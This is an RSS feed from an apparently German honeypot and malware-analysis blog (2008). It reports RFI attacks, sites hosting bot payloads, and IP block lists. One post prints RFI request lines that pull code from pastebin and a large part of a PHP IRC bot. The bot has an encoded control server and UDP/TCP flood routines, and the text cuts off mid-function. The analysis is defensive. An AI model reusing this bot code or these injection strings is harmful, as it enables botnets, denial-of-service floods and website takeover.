    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=32</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=32</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Nachdem ich den freundlichen &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2Jsb2cuZ3Jvc3BvbGluYS5uZXQvYXJjaGl2ZXMvMzEtQ3JhbmstdGhpcy1pcy1mdWNraW4tY3I0bmsuaHRtbCNjMzI=&amp;amp;entry_id=32&quot;  onmouseover=&quot;window.status=&#039;http://blog.grospolina.net/archives/31-Crank-this-is-fuckin-cr4nk.html#c32&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Kommentar&quot; target=_blank&gt;Kommentar&lt;/a&gt; von haterbreed entdeckt hatte,&lt;br /&gt;
habe ich einmal die gleiche &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuZGUvc2VhcmNoP2hsPWRlJmFtcDtxPSUyMnRoaXMraXMrZnVja2luK2NyNG5rJTIyJmFtcDtidG5HPVN1Y2hlJmFtcDttZXRhPQ==&amp;amp;entry_id=32&quot;  onmouseover=&quot;window.status=&#039;http://www.google.de/search?hl=de&amp;amp;amp;q=%22this+is+fuckin+cr4nk%22&amp;amp;amp;btnG=Suche&amp;amp;amp;meta=&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Google-Suche&quot;&gt;Google-Suche&lt;/a&gt; gestartet, wie er es tat.&lt;br /&gt;
Neben meinem blog hier gabs auch noch andere Ergebnisse,&lt;br /&gt;
wie zum Beispiel diesen:&lt;br /&gt;
&lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovLzIwOS44NS4xMjkuMTMyL3NlYXJjaD9xPWNhY2hlOllYWDVNUmczUVZ3Sjp3d3cuYnJhc2lsd29vZC5ldS8rJTIydGhpcytpcytmdWNraW4rY3I0bmslMjImYW1wO2hsPWRlJmFtcDtjdD1jbG5rJmFtcDtjZD0zJmFtcDtnbD1kZQ==&amp;amp;entry_id=32&quot;  onmouseover=&quot;window.status=&#039;http://209.85.129.132/search?q=cache:YXX5MRg3QVwJ:www.brasilwood.eu/+%22this+is+fuckin+cr4nk%22&amp;amp;amp;hl=de&amp;amp;amp;ct=clnk&amp;amp;amp;cd=3&amp;amp;amp;gl=de&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;google cache von brasilwood.eu&quot;&gt;google cache von brasilwood.eu&lt;/a&gt;&lt;br /&gt;
Falls der Cache nicht mehr die ersetzte Seite zeigt,&lt;br /&gt;
habe ich hier einmal nen screenshot hinterlegt:&lt;br /&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.grospolina.net/uploads/images/brasilwood_crank.gif&#039; target=&quot;_blank&quot;&gt;&lt;!-- s9ymdb:21 --&gt;&lt;img width=&quot;90&quot; height=&quot;45&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.grospolina.net/uploads/images/brasilwood_crank.serendipityThumb.gif&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;i&gt;Klicken zum Vergrössern!&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;
 &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/32-Holz-aus-Brasilien-this-is-fuckin-cr4nk.html#extended&quot;&gt;Continue reading &quot;Holz aus Brasilien - this is fuckin cr4nk&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Mon, 24 Nov 2008 09:03:43 +0100</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/32-guid.html</guid>
    
</item>
<item>
    <title>Crank - this is fuckin cr4nk</title>
    <link>http://blog.grospolina.net/archives/31-Crank-this-is-fuckin-cr4nk.html</link>
            <category>honeypot</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/31-Crank-this-is-fuckin-cr4nk.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=31</wfw:comment>

    <slash:comments>4</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=31</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Ich dachte wirklich zunächst, &quot;cr4nk&quot; wäre mal eine etwas anderes Volk...&lt;br /&gt; &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/31-Crank-this-is-fuckin-cr4nk.html#extended&quot;&gt;Continue reading &quot;Crank - this is fuckin cr4nk&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Thu, 06 Nov 2008 17:36:24 +0100</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/31-guid.html</guid>
    
</item>
<item>
    <title>Webseite des SPD Ortsverbandes Esens-Nord gehackt</title>
    <link>http://blog.grospolina.net/archives/30-Webseite-des-SPD-Ortsverbandes-Esens-Nord-gehackt.html</link>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/30-Webseite-des-SPD-Ortsverbandes-Esens-Nord-gehackt.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=30</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=30</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Damit mir nicht jemand vorwirft ich sei politisch,&lt;br /&gt;
veröffentliche ich hier einmal den Link zum responsefile,&lt;br /&gt;
das Teil eines Angriffes auf eine meiner domains war:&lt;br /&gt;
&lt;i&gt;(...auch die SPD hilft beim Verteilen von RFI/LFI/SQLI bots)&lt;/i&gt;&lt;br /&gt;
&lt;pre&gt;
http://spd-esens.de/spd/contentimage/bid.txt
&lt;/pre&gt;
Oder ist sowas nur interessant, wenn es beim jährlichen CCC Treffen passiert?&lt;br /&gt;
 &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/30-Webseite-des-SPD-Ortsverbandes-Esens-Nord-gehackt.html#extended&quot;&gt;Continue reading &quot;Webseite des SPD Ortsverbandes Esens-Nord gehackt&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Sun, 12 Oct 2008 12:06:37 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/30-guid.html</guid>
    
</item>
<item>
    <title>onspeed.com als Beschleuniger für hacker</title>
    <link>http://blog.grospolina.net/archives/29-onspeed.com-als-Beschleuniger-fuer-hacker.html</link>
            <category>honeyd</category>
            <category>honeypot</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/29-onspeed.com-als-Beschleuniger-fuer-hacker.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=29</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=29</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL3d3dy5vbnNwZWVkLmNvbQ==&amp;amp;entry_id=29&quot;  onmouseover=&quot;window.status=&#039;http://www.onspeed.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;onspeed.com website&quot;&gt;onspeed.com&lt;/a&gt; ist laut deren Webseite ein Dienst,&lt;br /&gt;
der langsame Verbindungen beim browsen beschleunigen soll.&lt;br /&gt;
Wenn ich dies richtig verstanden habe,&lt;br /&gt;
bekommt man für knapp 25 Dollars Zugang zu einem Service,&lt;br /&gt;
der Browseranfragen aus einem Cache mit gepackten Daten beantwortet. (deflate)&lt;br /&gt;
Ebenso ist es aber dadurch möglich,&lt;br /&gt;
RFI scans mit einer ziemlich hohen Geschwindigkeit durchzuführen.&lt;br /&gt;
Das soll jetzt keine Werbung sein.&lt;br /&gt;
Ich meine das ernst.&lt;br /&gt;
onspeed hat bisher nicht auf meine mails geantwortet,&lt;br /&gt;
daher nun meine Empfehlung an alle Admins, Hostmaster und was immer folgende domains/IPs zu blocken:&lt;br /&gt;
&lt;pre&gt;
Stand  3.10.2008 17:05
domain                              IP
---------------------------------------------------------
navaho.onspeed.com  	72.3.137.82
yuma.onspeed.com 	72.3.137.83
vanadium.onspeed.com 	83.138.172.72
chromium.onspeed.com 	83.138.172.76
silicon.onspeed.com 	 212.100.250.218
sulphur.onspeed.com 	212.100.250.225
aluminium.onspeed.com 	 212.100.250.217
nickel.onspeed.com     212.100.250.230
&lt;/pre&gt;
Ich persönlich habe kein Problem damit etwas grosszügiger zu sein:&lt;br /&gt;
&lt;pre&gt;
72.3.137.0/24
83.138.172.0/24
212.100.250.0/24
&lt;/pre&gt;
Hier ein Auszug aus der abuse mail:&lt;br /&gt;
&lt;br /&gt; &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/29-onspeed.com-als-Beschleuniger-fuer-hacker.html#extended&quot;&gt;Continue reading &quot;onspeed.com als Beschleuniger für hacker&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Fri, 03 Oct 2008 16:44:50 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/29-guid.html</guid>
    
</item>
<item>
    <title>[honeyd] rfi - listen</title>
    <link>http://blog.grospolina.net/archives/28-honeyd-rfi-listen.html</link>
            <category>honeyd</category>
            <category>honeypot</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/28-honeyd-rfi-listen.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=28</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=28</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Der Andrang ist inzwischen so gross geworden, mich zum Opfer zu machen,&lt;br /&gt;
sodass ich während ich Skripte versuche zu erstellen, &lt;br /&gt;
die Situation sich schon wieder dermassen geändert hat,&lt;br /&gt;
dass ich das Konzept  wieder neu überdenken muss ;)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/28-honeyd-rfi-listen.html#extended&quot;&gt;Continue reading &quot;[honeyd] rfi - listen&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Sat, 13 Sep 2008 09:32:05 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/28-guid.html</guid>
    
</item>
<item>
    <title>[malware] fdp.de gehackt?</title>
    <link>http://blog.grospolina.net/archives/27-malware-fdp.de-gehackt.html</link>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/27-malware-fdp.de-gehackt.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=27</wfw:comment>

    <slash:comments>10</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=27</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Scheinbar ist die &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2ZkcC5kZQ==&amp;amp;entry_id=27&quot;  onmouseover=&quot;window.status=&#039;http://fdp.de&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;FDP Webseite&quot;&gt;fdp.de&lt;/a&gt; Webseite Opfer einer RFI Attacke geworden.&lt;br /&gt;

In der letzten Zusammenfassung des &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2hvbmV5bmV0LmN6&amp;amp;entry_id=27&quot;  onmouseover=&quot;window.status=&#039;http://honeynet.cz&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;honeynet.cz&quot;&gt;tschechischen Honeynet Projektes&lt;/a&gt; fiel ein Eintrag auf:&lt;br /&gt;
&lt;i&gt;Bericht vom 20.August 2008&lt;/i&gt;
&lt;br /&gt;
&lt;pre&gt;
STATISTIKA PRO RFI/XSS - MALWARE

Link na malware - pocet IP - pocet utoku
http://fdp.de/vorschaltseite/did.txt - 31 - 94 - 6a608609c0535feef25f60325d2e40cb
&lt;/pre&gt;
und noch ein zweiter:&lt;br /&gt;
&lt;pre&gt;
http://fdp.de/vorschaltseite/id.txt - 58 - 249 - 9e816808f1debe9ebeecb08654c2d5c2
&lt;/pre&gt;
Im Bericht vom Vortag  finden sich folgende Einträge:
&lt;pre&gt;
http://fdp.de/vorschaltseite/did.txt - 3 - 6 - 6a608609c0535feef25f60325d2e40cb
http://fdp.de/vorschaltseite/id.txt - 28 - 163 - 9e816808f1debe9ebeecb08654c2d5c2
&lt;/pre&gt;
Im Bericht vom 17. August taucht die Adresse das erstemal auf:
&lt;pre&gt;
http://fdp.de/vorschaltseite/did.txt - 7 - 18 - 6a608609c0535feef25f60325d2e40cb
&lt;/pre&gt;
Eine google-Suche nach &lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9obD1kZSZhbXA7cT1mZHAuZGUlMkZ2b3JzY2hhbHRzZWl0ZSUyRiZhbXA7YnRuRz1TdWNoZSZhbXA7bHI9&amp;amp;entry_id=27&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?hl=de&amp;amp;amp;q=fdp.de%2Fvorschaltseite%2F&amp;amp;amp;btnG=Suche&amp;amp;amp;lr=&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Google nach fdp.de vorschaltseite&quot;&gt;fdp.de/vorschaltseite&lt;/a&gt; gibt uns Gewissheit.&lt;br /&gt;
Beispiele:&lt;br /&gt;
&lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2ZvcnVtcy5vc2NvbW1lcmNlLmRlL2luZGV4LnBocD9zaG93dG9waWM9NjQ3MzEmYW1wO3ZpZXc9Z2V0bGFzdHBvc3Q=&amp;amp;entry_id=27&quot;  onmouseover=&quot;window.status=&#039;http://forums.oscommerce.de/index.php?showtopic=64731&amp;amp;amp;view=getlastpost&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;http://forums.oscommerce.de/index.php?showtopic=64731&amp;view=getlastpost&quot;&gt;http://forums.oscommerce.de/index.php?showtopic=64731&amp;view=getlastpost&lt;/a&gt;
&lt;pre&gt;00:00:00 libwww-perl artmam.com 13:12:02 /index.php?custompluginfile[]=http://fdp. de/vorschaltseite/id.txt&lt;/pre&gt;
&lt;a href=&quot;http://blog.grospolina.net/exit.php?url=aHR0cDovL2luZm9sYWMudWNvbC5teC9hY2Nlc3Mv&amp;amp;entry_id=27&quot;  onmouseover=&quot;window.status=&#039;http://infolac.ucol.mx/access/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;http://infolac.ucol.mx/access/&quot;&gt;http://infolac.ucol.mx/access/&lt;/a&gt;
&lt;pre&gt;pbb_root_path=http://fdp.de/vorschaltseite/id.txt?&lt;/pre&gt;
Obwohl die Dateie(en) nicht mehr auf der FDP Vorschaltseite zu finden sind,&lt;br /&gt;
können wir trotzdem einen Blick darauf werfen:&lt;br /&gt;
 &lt;br /&gt;&lt;a href=&quot;http://blog.grospolina.net/archives/27-malware-fdp.de-gehackt.html#extended&quot;&gt;Continue reading &quot;[malware] fdp.de gehackt?&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Wed, 20 Aug 2008 07:54:16 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/27-guid.html</guid>
    
</item>
<item>
    <title>[malware] RFI Attacken mit Hilfe von pastebin.ubuntu.com</title>
    <link>http://blog.grospolina.net/archives/25-malware-RFI-Attacken-mit-Hilfe-von-pastebin.ubuntu.com.html</link>
            <category>honeyd</category>
            <category>malware</category>
    
    <comments>http://blog.grospolina.net/archives/25-malware-RFI-Attacken-mit-Hilfe-von-pastebin.ubuntu.com.html#comments</comments>
    <wfw:comment>http://blog.grospolina.net/wfwcomment.php?cid=25</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://blog.grospolina.net/rss.php?version=2.0&amp;type=comments&amp;cid=25</wfw:commentRss>
    

    <author>nospam@example.com (katsumi)</author>
    <content:encoded>
    Ob ubuntu Eure bevorzugte Distribution ist, sei einmal dahingestellt.&lt;br /&gt;
Offensichtlich wird jedoch der pastebin im &quot;plain&quot; dafür ausgenutzt webseiten zu übernehmen.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;cat&amp;#160;rfi.txt&amp;#160;|grep&amp;#160;pastebin
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg&amp;#91;path&amp;#93;&amp;#91;contenido&amp;#93;=http&amp;#58;//pastebin.ubuntu.com/33902/plain/???
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg&amp;#91;path&amp;#93;&amp;#91;contenido&amp;#93;=http&amp;#58;//pastebin.ubuntu.com/33897/plain/?
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg&amp;#91;path&amp;#93;&amp;#91;contenido&amp;#93;=http&amp;#58;//pastebin.ubuntu.com/33924/plain/?
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg&amp;#91;path&amp;#93;&amp;#91;contenido&amp;#93;=http&amp;#58;//pastebin.ubuntu.com/33924/plain/
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg&amp;#91;path&amp;#93;&amp;#91;contenido&amp;#93;=http&amp;#58;//pastebin.ubuntu.com/33946/plain/?
/doc///vwar/backup/errors.php?error=http&amp;#58;//pastebin.ubuntu.com/35446/plain/???&lt;/div&gt;
&lt;br /&gt;
Schauen wir uns einmal diesen letzten &quot;pastebin&quot; an:
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;&amp;#60;?php
ignore_user_abort&amp;#40;TRUE&amp;#41;;
set_time_limit&amp;#40;0&amp;#41;;
error_reporting&amp;#40;E_ALL&amp;#41;;

class&amp;#160;bMain
{
	var&amp;#160;$config&amp;#160;=&amp;#160;array&amp;#40;
//		&quot;prefix&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;&quot;HOMOVAN|&quot;,
		&quot;maxnumbers&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;5,
		&quot;maxident&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;6,
		&quot;trigger&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;&quot;.&quot;,
		&quot;modes&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;&quot;-ix&quot;,
		&quot;adminhosts&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;array&amp;#40;&quot;i.love.ircsluts.net&quot;&amp;#41;,
		&quot;sockbuffer&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;512,
		&quot;rejoindelay&quot;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;900,
		&quot;cpingdelay&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;10,
		&quot;chessburstudp&quot;&amp;#160;=&amp;#62;&amp;#160;5000,
		&quot;chessbursttcp&quot;&amp;#160;=&amp;#62;&amp;#160;100,
		&quot;httpburst&quot;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;=&amp;#62;&amp;#160;20,
	&amp;#41;;
	
	var&amp;#160;$servers&amp;#160;=&amp;#160;array&amp;#40;
		array&amp;#40;
			&quot;host&quot;&amp;#160;=&amp;#62;&amp;#160;&quot;Y2FydGVyLndpZ2d5bmV0Lm9yZy51aw==&quot;,
			&quot;port&quot;&amp;#160;=&amp;#62;&amp;#160;&quot;OTAwMA==&quot;,
			&quot;channels&quot;&amp;#160;=&amp;#62;&amp;#160;array&amp;#40;&quot;I21vYmZpZ2dh&quot;&amp;#41;,
			&quot;control&quot;&amp;#160;=&amp;#62;&amp;#160;true,
		&amp;#41;,
	&amp;#41;;
	
	var&amp;#160;$bots&amp;#160;=&amp;#160;array&amp;#40;&amp;#41;;
	var&amp;#160;$lastrejointime;
	
	function&amp;#160;bMain&amp;#40;&amp;#41;
	{
		$this-&amp;#62;lastrejointime&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
	}
	
	function&amp;#160;start&amp;#40;&amp;#41;
	{
		foreach&amp;#160;&amp;#40;$this-&amp;#62;servers&amp;#160;as&amp;#160;$srv&amp;#41;
		{
			$bot&amp;#160;=&amp;#160;new&amp;#160;bBot;
			$bot-&amp;#62;setnick&amp;#40;$this-&amp;#62;generatenick&amp;#40;&amp;#41;&amp;#41;;
			$bot-&amp;#62;setcontrol&amp;#40;$srv&amp;#91;&quot;control&quot;&amp;#93;&amp;#41;;
			foreach&amp;#160;&amp;#40;$srv&amp;#91;&quot;channels&quot;&amp;#93;&amp;#160;as&amp;#160;$chan&amp;#41;&amp;#160;$bot-&amp;#62;channels&amp;#91;&amp;#93;&amp;#160;=&amp;#160;base64_decode&amp;#40;$chan&amp;#41;;
			$bot-&amp;#62;setdestination&amp;#40;base64_decode&amp;#40;$srv&amp;#91;&quot;host&quot;&amp;#93;&amp;#41;,base64_decode&amp;#40;$srv&amp;#91;&quot;port&quot;&amp;#93;&amp;#41;,$this-&amp;#62;generateident&amp;#40;&amp;#41;&amp;#41;;
			$bot-&amp;#62;lastreconnect&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
			$bot-&amp;#62;connect&amp;#40;&amp;#41;;
			$this-&amp;#62;bots&amp;#91;&amp;#93;&amp;#160;=&amp;#160;$bot;
		}
		while&amp;#160;&amp;#40;1&amp;#41;&amp;#160;$this-&amp;#62;heartbeat&amp;#40;&amp;#41;;
	}
	
	function&amp;#160;heartbeat&amp;#40;&amp;#41;
	{
		if&amp;#160;&amp;#40;time&amp;#40;&amp;#41;-$this-&amp;#62;lastrejointime&amp;#160;&amp;#62;=&amp;#160;$this-&amp;#62;config&amp;#91;&quot;rejoindelay&quot;&amp;#93;&amp;#41;
		{
			$this-&amp;#62;lastrejointime&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
			$botcnt&amp;#160;=&amp;#160;count&amp;#40;$this-&amp;#62;bots&amp;#41;;
			for&amp;#160;&amp;#40;$i=0;&amp;#160;$i&amp;#60;$botcnt;&amp;#160;$i++&amp;#41;&amp;#160;$this-&amp;#62;bots&amp;#91;$i&amp;#93;-&amp;#62;joinchans&amp;#40;&amp;#41;;
		}
		foreach&amp;#160;&amp;#40;$this-&amp;#62;bots&amp;#160;as&amp;#160;$botlol&amp;#41;&amp;#160;{
			if&amp;#160;&amp;#40;$botlol-&amp;#62;isconnected&amp;#40;&amp;#41;&amp;#41;&amp;#160;$botlol-&amp;#62;parsebuffer&amp;#40;&amp;#41;;
			elseif&amp;#160;&amp;#40;time&amp;#40;&amp;#41;-10&amp;#160;&amp;#62;&amp;#160;$botlol-&amp;#62;lastreconnect&amp;#41;&amp;#160;{
/&amp;#42;				$botlol-&amp;#62;lastreconnect&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
				$botlol-&amp;#62;setnick&amp;#40;$this-&amp;#62;generatenick&amp;#40;&amp;#41;&amp;#41;;
				$botlol-&amp;#62;connect&amp;#40;&amp;#41;;&amp;#42;/
				exit&amp;#40;&amp;#41;;
			}
		}
	}
	
	function&amp;#160;generatenick&amp;#40;&amp;#41;
	{
/&amp;#42;		$randnick&amp;#160;=&amp;#160;$this-&amp;#62;config&amp;#91;&quot;prefix&quot;&amp;#93;;
		for&amp;#160;&amp;#40;$i=0;$i&amp;#60;$this-&amp;#62;config&amp;#91;&quot;maxnumbers&quot;&amp;#93;;$i++&amp;#41;&amp;#160;$randnick&amp;#160;.=&amp;#160;mt_rand&amp;#40;0,9&amp;#41;;
		return&amp;#160;$randnick;&amp;#42;/
		$nprefixes&amp;#160;=&amp;#160;array&amp;#40;&quot;Wolf&quot;,&quot;Wolfeh&quot;,&quot;Wolfy&quot;,&quot;Dog&quot;,&quot;Doggy&quot;,&quot;Doggy&quot;,&quot;Cheetah&quot;,&quot;Yiff&quot;,&quot;Yiffy&quot;,&quot;Lion&quot;,&quot;Lioness&quot;,&quot;Tiger&quot;,&quot;Tigah&quot;,&quot;Aardvark&quot;,&quot;Badger&quot;,&quot;Beaver&quot;,&quot;Cat&quot;,&quot;Kitty&quot;,&quot;Deer&quot;,&quot;Donkey&quot;,&quot;Donkeh&quot;,&quot;Bear&quot;,&quot;Grizzly&quot;,&quot;Hamster&quot;,&quot;Pikachu&quot;,&quot;Mudkip&quot;,&quot;Goat&quot;,&quot;Coyote&quot;,&quot;Flame&quot;,&quot;Mustang&quot;,&quot;Lynx&quot;,&quot;Stallion&quot;,&quot;Tapir&quot;,&quot;Panda&quot;,&quot;Pony&quot;,&quot;Bunny&quot;,&quot;Dawg&quot;,&quot;Inu&quot;,&quot;Neko&quot;,&quot;Usagi&quot;,&quot;Kitsune&quot;,&quot;Kitune&quot;,&quot;Tails&quot;,&quot;Horny&quot;,&quot;Kinky&quot;,&quot;Yiffy&quot;,&quot;Sexy&quot;,&quot;Manly&quot;,&quot;Female&quot;,&quot;Horneh&quot;,&quot;Sex&quot;,&quot;Sxc&quot;,&quot;Flame&quot;,&quot;Viper&quot;,&quot;Fire&quot;,&quot;Desu&quot;,&quot;Angry&quot;,&quot;Happy&quot;,&quot;Playful&quot;,&quot;Naughty&quot;,&quot;Good&quot;,&quot;Speed&quot;,&quot;Snow&quot;,&quot;Beach&quot;,&quot;Windy&quot;,&quot;Dream&quot;,&quot;Dreamer&quot;,&quot;Afro&quot;,&quot;Skritchy&quot;,&quot;Lovely&quot;,&quot;Sonic&quot;&amp;#41;;
		$newnick&amp;#160;=&amp;#160;$nprefixes&amp;#91;array_rand&amp;#40;$nprefixes&amp;#41;&amp;#93;.$nprefixes&amp;#91;array_rand&amp;#40;$nprefixes&amp;#41;&amp;#93;;
		for&amp;#160;&amp;#40;$i=0;&amp;#160;$i&amp;#60;mt_rand&amp;#40;1,$this-&amp;#62;config&amp;#91;&quot;maxnumbers&quot;&amp;#93;&amp;#41;;&amp;#160;$i++&amp;#41;&amp;#160;$newnick&amp;#160;.=&amp;#160;mt_rand&amp;#40;0,9&amp;#41;;
		return&amp;#160;strtolower&amp;#40;$newnick&amp;#41;;
	}
	
	function&amp;#160;generateident&amp;#40;&amp;#41;
	{
		$alph&amp;#160;=&amp;#160;range&amp;#40;&quot;a&quot;,&quot;z&quot;&amp;#41;;
		$randident&amp;#160;=&amp;#160;&quot;&quot;;
		for&amp;#40;$i&amp;#160;=&amp;#160;0;$i&amp;#60;$this-&amp;#62;config&amp;#91;&quot;maxident&quot;&amp;#93;;$i++&amp;#41;&amp;#160;$randident&amp;#160;.=&amp;#160;$alph&amp;#91;rand&amp;#40;0,25&amp;#41;&amp;#93;;
		return&amp;#160;$randident;
	}
	
	function&amp;#160;activeconnections&amp;#40;&amp;#41;
	{
		$concount&amp;#160;=&amp;#160;0;
		foreach&amp;#160;&amp;#40;$this-&amp;#62;bots&amp;#160;as&amp;#160;$bot&amp;#41;
		{
			if&amp;#160;&amp;#40;$bot-&amp;#62;isconnected&amp;#40;&amp;#41;&amp;#41;&amp;#160;$concount++;
		}
		return&amp;#160;$concount;
	}
	
	function&amp;#160;startchess&amp;#40;$t,&amp;#160;$h,&amp;#160;$p,&amp;#160;$ps,&amp;#160;$ti&amp;#41;
	{
/&amp;#42;		if&amp;#160;&amp;#40;strlen&amp;#40;$this-&amp;#62;chessfile&amp;#41;&amp;#160;&amp;#60;&amp;#160;1&amp;#41;&amp;#160;$this-&amp;#62;chessfile&amp;#160;=&amp;#160;$this-&amp;#62;createchessfile&amp;#40;&amp;#41;;
		$this-&amp;#62;spawnfakethreads&amp;#40;&quot;php&amp;#160;&quot;.$this-&amp;#62;chessfile.&quot;&amp;#160;&quot;.base64_encode&amp;#40;$h&amp;#41;.&quot;&amp;#160;&quot;.base64_encode&amp;#40;$p&amp;#41;.&quot;&amp;#160;&quot;.base64_encode&amp;#40;$ps&amp;#41;.&quot;&amp;#160;&quot;.base64_encode&amp;#40;$t&amp;#41;,&amp;#160;intval&amp;#40;$th&amp;#41;&amp;#41;;&amp;#42;/
		$ho&amp;#160;=&amp;#160;&quot;&quot;;
		if&amp;#160;&amp;#40;$t&amp;#160;==&amp;#160;&quot;udp&quot;&amp;#41;&amp;#160;{
			$burst&amp;#160;=&amp;#160;$this-&amp;#62;config&amp;#91;&quot;chessburstudp&quot;&amp;#93;;
			$ho&amp;#160;=&amp;#160;&quot;udp&amp;#58;//&quot;;
			//print&amp;#40;&quot;using&amp;#160;udp&amp;#160;$burst\n&quot;&amp;#41;;
		}
		elseif&amp;#160;&amp;#40;$t&amp;#160;==&amp;#160;&quot;tcp&quot;&amp;#41;&amp;#160;{
